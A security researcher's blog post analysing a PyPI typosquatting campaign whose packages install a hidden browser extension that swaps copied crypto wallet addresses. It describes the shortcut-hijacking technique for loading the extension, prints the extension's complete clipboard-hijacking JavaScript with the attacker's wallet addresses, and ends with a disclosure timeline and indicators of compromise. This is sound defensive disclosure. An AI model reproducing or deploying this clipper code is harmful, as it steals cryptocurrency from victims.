900+ Malicious Python Packages Manipulating Victim’s Clipboard to Steal Crypto

Starting Feb 9 2023, an attacker published a total of 444 malicious packages via 22 different PyPi user accounts. The malicious packages infect the victim’s web browser with a hidden extension that manipulates the clipboard and changes the value of a copied crypto wallet address to match the attacker’s crypto wallet address.
Update 12/2/2023: The attack continues - 900 packages so far
Since the original publication of this blog, 456 additional packages containing the same code were found. All were published on 11/2/2023 using 17 additional PyPi user accounts. This brings the subtotal of packages found in the incident thus far to 900 from 39 different user accounts. PyPi quickly removed all new packages.
Stay tuned, as this attack may still be in progress, and it’s possible that new packages will be published in the upcoming days.

Attack Technique
For those who are unfamiliar with it, Typosquatting is a malicious technique used by attackers to trick victims into downloading and installing what appears to be a legitimate open-source package but is actually a disguised version of the malicious packages containing harmful code.
In this incident, the attacker published packages that closely resemble the names of the following (highly popular) packages:
- aiohttp
- python-binance
- torch
- pygame
- pandas
- scikit-learn
- tensorflow
- pyinstaller
- scrapy
- matplotlib
- selenium
- beautifulsoup4
- colorama
- websockets
- yfinance
- solana
- bitcoinlib
- vyper
- cryptocompare
- cryptofeed
- freqtrade
- ccxt
Update 12/2/2023:
- websocket-client
- click
- pillow
- openpyxl
- xlsxwriter
- simplejson
- requests-toolbelt
- discord.py
- discord-webhook
- psutil
- PySocks
- progressbar2
- prompt-toolkit
- pycodestyle
- gitpython
- BeautifulSoup
- tkcalendar
As humans make typing mistakes, someone probably will mistype the name and will end up installing the attacker’s code.
Analyzing the Malicious Packages
All 444 packages share the same payload. The malicious code is executed upon installation and its obfuscated with variable names in Chinese (e.g. 馬女水女口目人馬鳥月水馬山山馬鸟)

After deobfuscating and debugging the malicious code, I saw the attacker was deploying a browser extension embedded in the code into the path %APPDATA%\Extension
To activate the extension as it is unlisted in the official marketplaces, the code modifies shortcuts to launch browsers placed in the following paths:
- C:\ProgramData\Microsoft\Windows\Start Menu
- %APPDATA%\Microsoft\Windows\Start Menu
- %APPDATA%\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar
Those shortcuts are modified to include the argument — load-extension=%APPDATA%\Extension to this closed list of web browsers’ .exe files:
- chrome.exe (Google Chrome)
- msedge.exe (Microsoft Edge)
- launcher.exe (Opera Internet Browser)
- brave.exe (Brave Browser)
Malicious Browser Extension
The browser extension is comprised of two files: manifest.json, which requests permission to access the clipboard, andbackground.js contain multiple regular expressions to replace copied Crypto wallet addresses with hard-coded wallet addresses owned by the attacker:
let page = chrome.extension.getBackgroundPage();
var inputElement = document.createElement('input');
document.body.appendChild(inputElement);
inputElement.focus();
function checkWalletAddresses() {
document.execCommand('paste');
var clipboardContent = inputElement.value;
clipboardContent = clipboardContent.replace(/^(0x)[A-Fa-f0-9]{40}$/g, '0x6eb2103839011Ed56c98145b3d3f9d6BE1b4dA63');
clipboardContent = clipboardContent.replace(/^T[A-Za-z1-9]{33}$/g, 'TK3dtT7vYLkhUyzLqbQMmsrM36QzFnmfaa');
clipboardContent = clipboardContent.replace(/^(bnb1)[0-9a-z]{38}$/g, 'bnb1pncs5ct0rdh3rcdms8708x9jrdy038ml33ceuw');
clipboardContent = clipboardContent.replace(/^([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})$/g, 'bc1qkjm7r677a4fkxcmx9kzlk55a9eaqtztq8zwrc2');
clipboardContent = clipboardContent.replace(/^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$/g, 'LcVct9KwHwUKftDNjbBxUtjK9WeUkYbRN3');
clipboardContent = clipboardContent.replace(/^r[0-9a-zA-Z]{24,34}$/g, 'rJd2pxs7TxE77W8X3Ezt2QyrhMJixMehPx');
clipboardContent = clipboardContent.replace(/^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$/g, 'DFbEVJUt9TcyBgVGriy3DcNBwYhK3s7Yhx');
clipboardContent = clipboardContent.replace(/^addr1[a-z0-9]+$/g, 'addr1q8206rrze22rz8g5lggn4clv7zu9mq6w6a6llvw8v3l7r8k5l5xx9j55xyw3f7s38t37eu9ctkp5a4m4l7cuwerlux0qxlhwvz');
clipboardContent = clipboardContent.replace(/^[48]([0-9AB]{1})([0-9a-zA-Z]{93})$/g, '41iwYzbS1KKX8DFySxDcGBGGfJzywUeHxWumm4fjYxtYCiHtysXmq3P7RqG18Tv5UDKGNQegefxS2FFqrqeapvB7FuYSBJv');
clipboardContent = clipboardContent.replace(/^G[0-7A-Za-z]{55}$/g, 'GCUPRZDN5RGSO3MC4LBIZBJMCS5KNUYQI2HZNUHVEBC5LNWZODWQ24XH');
clipboardContent = clipboardContent.replace(/^cosmos[a-z0-9]{39}$/g, 'cosmos1cd3hxdkc775zj75xtd3gqp8s7hynxkzewcf58y');
inputElement.value = clipboardContent;
inputElement.select();
document.execCommand('copy');
inputElement.value = '';
}
setInterval(checkWalletAddresses, 1000);
To see it in action, I made a short video demonstrating how this malicious extension manipulates the victim’s clipboard:
Timeline
- Nov 4 2022: Attacker create an infrastructure of at least 22 PyPi user accounts
- Feb 9–10 2023: Attacker publishes 444 malicious typosquatting packages to PyPi
- Feb 10 2023: I reported to the PyPi security team
- Feb 10 2023: PyPi security team removed the malicious packages
Conclusion
I started this investigation on Feb 10 when I noticed a typosquatting attack on Selenium. I originally reported a portion of this campaign, and I later continued to play with the tools my team created and discovered more related activities.
I reported the findings to the Python security team, and they quickly removed all malicious packages (special thanks to Ee Durbin).
Planned Attack
As all user accounts involved were created on Nov 4, 2022, this is a clue of a planned attack, and it doesn’t seem to be a coincidence the strike on weekends as attackers are aware defenders and the ecosystem's security teams might not have full availability during the weekend.

Package Names
Sharing the following gist with indicators of the package name as well as the user accounts
IOC
- Ethereum 0x6eb2103839011Ed56c98145b3d3f9d6BE1b4dA63
- Tron TK3dtT7vYLkhUyzLqbQMmsrM36QzFnmfaa
- Binance Coin bnb1pncs5ct0rdh3rcdms8708x9jrdy038ml33ceuw
- Bitcoin bc1qkjm7r677a4fkxcmx9kzlk55a9eaqtztq8zwrc2
- Ethereum Classic LcVct9KwHwUKftDNjbBxUtjK9WeUkYbRN3
- Ripple rJd2pxs7TxE77W8X3Ezt2QyrhMJixMehPx
- Dogecoin DFbEVJUt9TcyBgVGriy3DcNBwYhK3s7Yhx
- Cardano addr1q8206rrze22rz8g5lggn4clv7zu9mq6w6a6llvw8v3l7r8k5l5xx9j55xyw3f7s38t37eu9ctkp5a4m4l7cuwerlux0qxlhwvz
- Bitcoin Cash 41iwYzbS1KKX8DFySxDcGBGGfJzywUeHxWumm4fjYxtYCiHtysXmq3P7RqG18Tv5UDKGNQegefxS2FFqrqeapvB7FuYSBJv
- Stellar GCUPRZDN5RGSO3MC4LBIZBJMCS5KNUYQI2HZNUHVEBC5LNWZODWQ24XH
- Cosmos cosmos1cd3hxdkc775zj75xtd3gqp8s7hynxkzewcf58y
900+ Malicious Python Packages Manipulating Victim’s Clipboard to Steal Crypto was originally published in Checkmarx Zero on Medium, where people are continuing the conversation by highlighting and responding to this story.











